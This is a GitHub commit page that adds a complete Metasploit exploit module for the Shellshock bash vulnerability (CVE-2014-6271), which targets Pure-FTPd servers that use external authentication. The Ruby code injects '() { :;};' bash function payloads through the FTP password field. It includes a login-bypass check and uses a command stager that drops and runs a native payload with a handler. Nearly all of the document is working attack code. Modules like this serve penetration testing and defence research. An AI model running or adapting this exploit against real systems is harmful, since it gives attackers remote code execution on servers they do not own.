Skip to content

Commit 632edcb

Browse files
committed
Add CVE-2014-6271 exploit via Pure-FTPd ext-auth
1 parent 9bfd013 commit 632edcb

File tree

1 file changed

+111
-0
lines changed

1 file changed

+111
-0
lines changed
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = GoodRanking
10+
11+
include Msf::Exploit::Remote::Ftp
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Pure-FTPd External Authentication Bash Environment Variable Code Injection',
17+
'Description' => %q(
18+
This module exploits a code injection in specially crafted environment
19+
variables in Bash, specifically targeting Pure-FTPd when configured to
20+
use an external program for authentication.
21+
),
22+
'Author' =>
23+
[
24+
'Stephane Chazelas', # Vulnerability discovery
25+
'Frank Denis', # Discovery of Pure-FTPd attack vector
26+
'Spencer McIntyre' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2014-6271'],
31+
['OSVDB', '112004'],
32+
['EDB', '34765'],
33+
['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc']
34+
],
35+
'Payload' =>
36+
{
37+
'DisableNops' => true,
38+
'Space' => 2048
39+
},
40+
'Targets' =>
41+
[
42+
[ 'Linux x86',
43+
{
44+
'Platform' => 'linux',
45+
'Arch' => ARCH_X86,
46+
'CmdStagerFlavor' => [ :echo, :printf ]
47+
}
48+
],
49+
[ 'Linux x86_64',
50+
{
51+
'Platform' => 'linux',
52+
'Arch' => ARCH_X86_64,
53+
'CmdStagerFlavor' => [ :echo, :printf ]
54+
}
55+
]
56+
],
57+
'DefaultTarget' => 0,
58+
'DisclosureDate' => 'Sep 24 2014'))
59+
register_options(
60+
[
61+
Opt::RPORT(21),
62+
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin'])
63+
], self.class)
64+
deregister_options('FTPUSER', 'FTPPASS')
65+
end
66+
67+
def check
68+
# this check method tries to use the vulnerability to bypass the login
69+
username = rand_text_alphanumeric(rand(20) + 1)
70+
random_id = (rand(100) + 1)
71+
command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
72+
if send_command(username, command) =~ /^2\d\d ok./i
73+
return CheckCode::Safe if banner !~ /pure-ftpd/i
74+
disconnect
75+
76+
command = "echo auth_ok:0; echo end"
77+
if send_command(username, command) =~ /^5\d\d login authentication failed/i
78+
return CheckCode::Vulnerable
79+
end
80+
end
81+
disconnect
82+
83+
CheckCode::Safe
84+
end
85+
86+
def execute_command(cmd, _opts)
87+
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
88+
username = rand_text_alphanumeric(rand(20) + 1)
89+
send_command(username, cmd)
90+
end
91+
92+
def exploit
93+
# Cannot use generic/shell_reverse_tcp inside an elf
94+
# Checking before proceeds
95+
if generate_payload_exe.blank?
96+
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
97+
end
98+
99+
execute_cmdstager(linemax: 500)
100+
handler
101+
end
102+
103+
def send_command(username, cmd)
104+
cmd = "() { :;}; #{datastore['RPATH']}/sh -c \"#{cmd}\""
105+
connect
106+
send_user(username)
107+
password_result = send_pass(cmd)
108+
disconnect
109+
password_result
110+
end
111+
end

0 commit comments

Comments
 (0)